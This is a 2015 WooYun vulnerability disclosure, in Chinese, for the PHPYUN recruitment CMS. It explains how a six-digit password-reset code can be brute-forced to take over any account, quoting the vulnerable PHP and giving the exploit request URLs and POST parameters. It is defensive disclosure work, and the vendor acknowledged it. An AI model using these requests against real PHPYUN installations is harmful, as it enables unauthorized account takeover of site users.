当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2015-127151

漏洞标题: PHPYUN最新版任意密码暴力重置(需爆破6位数)

相关厂商: php云人才系统

漏洞作者: menmen519

提交时间: 2015-07-20 14:06

公开时间: 2015-10-18 14:18

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 15

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-20: 细节已通知厂商并且等待厂商处理中
2015-07-20: 厂商已经确认,细节仅向厂商公开
2015-07-23: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-09-13: 细节向核心白帽子及相关领域专家公开
2015-09-23: 细节向普通白帽子公开
2015-10-03: 细节向实习白帽子公开
2015-10-18: 细节向公众公开

简要描述:

PHPYUN最新版任意密码暴力重置
条件为:后台需开启邮件密码找回功能,默认不开启

详细说明:

这个逻辑其实是一个传统的逻辑,首先我们分析一下代码:



条件一:



如果允许用户找回密码操作,phpyun就必须后台配置email或者短信,为了分析方便我们注释掉这一块:



可以确定官网demo是开启了这个配置,因为它允许用户找回密码







wap/forgetpw.class.php:

code 区域
function send_action(){
$username=yun_iconv("utf-8","gbk",$_POST['username']);
if(!$this->CheckRegUser($username)&&!$this->CheckRegEmail($username)){
$res['msg']=yun_iconv("gbk","utf-8","用户名不符合规范!");
$res['type']='8';
echo json_encode($res);die;
}
$M=$this->MODEL("userinfo");
$where=array("`username`='".$username."' or `email`='".$username."' or `moblie`='".$username."'");
$info=$M->GetMemberOne($where,array("field"=>"`uid`,`username`,`email`,`moblie`"));

if($info['uid']){
$sendcode=rand(100000,999999);
setcookie("moblie_code",$sendcode,time()+120, "/");
/*
if($_POST['sendtype']=='email'){
if(!($this->config['sy_smtpserver']!="" && $this->config['sy_smtpemail']!="" && $this->config['sy_smtpuser']!="")){
$res['msg']=yun_iconv("gbk","utf-8","还没有配置邮箱,请联系管理员!");
$res['type']='8';
echo json_encode($res);die;
}elseif($this->config['sy_email_getpass']=="2"){
$res['msg']=yun_iconv("gbk","utf-8","网站未开启邮件找回密码!");
$res['type']='8';
echo json_encode($res);die;
}
}else{
if(!$this->config["sy_msguser"] || !$this->config["sy_msgpw"] || !$this->config["sy_msgkey"]){
$res['msg']=yun_iconv("gbk","utf-8","还没有配置短信,请联系管理员!");
$res['type']='8';
echo json_encode($res);die;
}elseif($this->config['sy_msg_getpass']=="2"){
$res['msg']=yun_iconv("gbk","utf-8","网站未开启短信找回密码!");
$res['type']='8';
echo json_encode($res);die;
}
}
*/
$fdata=$this->forsend(array('uid'=>$info['uid'],'usertype'=>$info['usertype']));
$data['uid']=$info['uid'];
$data['username']=$info['username'];
$data['name']=$fdata['name'];
$data['type']="getpass";
if($_POST['sendtype']=='email'){
$data['email']=$info['email'];
}else{
$data['moblie']=$info['moblie'];
}
$data['sendcode']=$sendcode;
$data['date']=date("Y-m-d");
$status=$this->send_msg_email($data);
if($_POST['sendtype']=='email'){
$check=$info['email'];
}else{
$check=$info['moblie'];
}
$cert=$M->GetCompanyCert(array("uid"=>$info['uid'],"type"=>"5","check"=>$check),array("field"=>"`uid`,`check2`,`ctime`,`id`"));
if($cert){
$M->UpdateCompanyCert(array("check2"=>$sendcode,"ctime"=>time()),array("id"=>$cert['id']));
}else{
$M->AddCompanyCert(array('type'=>'5','status'=>0,'uid'=>$info['uid'],'check2'=>$sendcode,'check'=>$check,'ctime'=>time()));
}







从以上代码可以看出来,只要知道用户名即可,这个太方便了,我在系统里面注册了一个用户名为test的用户



url:

http://localhost/phpyun40/upload/index.php?c=forgetpw&m=wap&a=send



postdata:



username=test&sendtype=email





这样就会在cert表里面存储一个东西,看看抓到的sql是什么:



如果之前这个人找回过密码也就是数据库里面存在记录,那么就执行

UPDATE `phpyun_company_cert` SET `check2`=486196,`ctime`=1437024758 WHERE 1 and `id`='1'



如果没有记录就会进行insert操作



INSERT INTO `phpyun_company_cert` SET `type`='5',`status`='0',`uid`='1',`check2`='674584',`check`='test@**.**.**.**',`ctime`='1437024891'



这个check2 居然是个六位的纯数字,我们在看看check2是怎么产生的



$sendcode=rand(100000,999999);





我们继续在看这一段代码:



code 区域
function editpw_action(){
$username=yun_iconv("utf-8","gbk",$_POST['username']);
if(!$this->CheckRegUser($username)&&!$this->CheckRegEmail($username)){
$res['msg']=yun_iconv("gbk","utf-8","用户名不符合规范!");
$res['type']='8';
echo json_encode($res);die;
}
$M=$this->MODEL("userinfo");
$where=array("`username`='".$username."' or `email`='".$username."' or `moblie`='".$username."'");
$info = $M->GetMemberOne($where,array("field"=>"`uid`,`username`,`email`,`moblie`"));
if($_POST['sendtype']=='email'){
$check=$info['email'];
}else{
$check=$info['moblie'];
}
$cert = $M->GetCompanyCert(array("uid"=>$info['uid'],"type"=>"5","check"=>$check),array("field"=>"`uid`,`check2`,`ctime`,`id`"));
if($_POST['code']!=$cert['check2']){
$res['msg']=yun_iconv("gbk","utf-8","验证码错误");
$res['type']='8';
echo json_encode($res);die;
}
if(!$_POST['password']){
$res['msg']=yun_iconv("gbk","utf-8","请完整填写信息!");
$res['type']='8';
echo json_encode($res);die;
}
$password = $_POST['password'];

if(is_array($info))
{
if($this->config[sy_uc_type]=="uc_center" && $info['name_repeat']!="1")
{
$this->uc_open();
uc_user_edit($info[username], "", $password, $info['email'],"0");
}else{

$salt = substr(uniqid(rand()), -6);
$pass2 = md5(md5($password).$salt);
$M->UpdateMember(array("password"=>$pass2,"salt"=>$salt),array("uid"=>$cert['uid']));
}







要想更改这个用户的密码,由以下几个条件



第一个email 这个其实等于不是条件,因为这个email是内部传输的,这样一来就为我们减轻了一个参数,其实就是里面的check



第二个,check2 这个就是我们刚才的六位纯数字



url:

http://localhost/phpyun40/upload/index.php?c=forgetpw&m=wap&a=editpw





postdata:



username=test&password=111111&sendtype=email&code=674584





看看后台抓取的sql:

2015/7/16 13:38 UPDATE `phpyun_member` SET `password`='b14a85b5b44b9a523d20ec497fa82f0c',`salt`='01ad17' WHERE 1 and `uid`='1'





跟我们分析的一模一样





那么下来的问题就落在了 这个六位纯数字了





我们brute跑跑看看:



7.png







看到这个这个长度了就是了破解成功





六位纯数字的爆破解释 可以参考

http://**.**.**.**/bugs/wooyun-2010-043314

漏洞证明:

修复方案:

版权声明:转载请注明来源 menmen519@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-07-20 14:16

厂商回复:

感谢提供!我们会尽快修复!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

登录后才能发表评论,请先 登录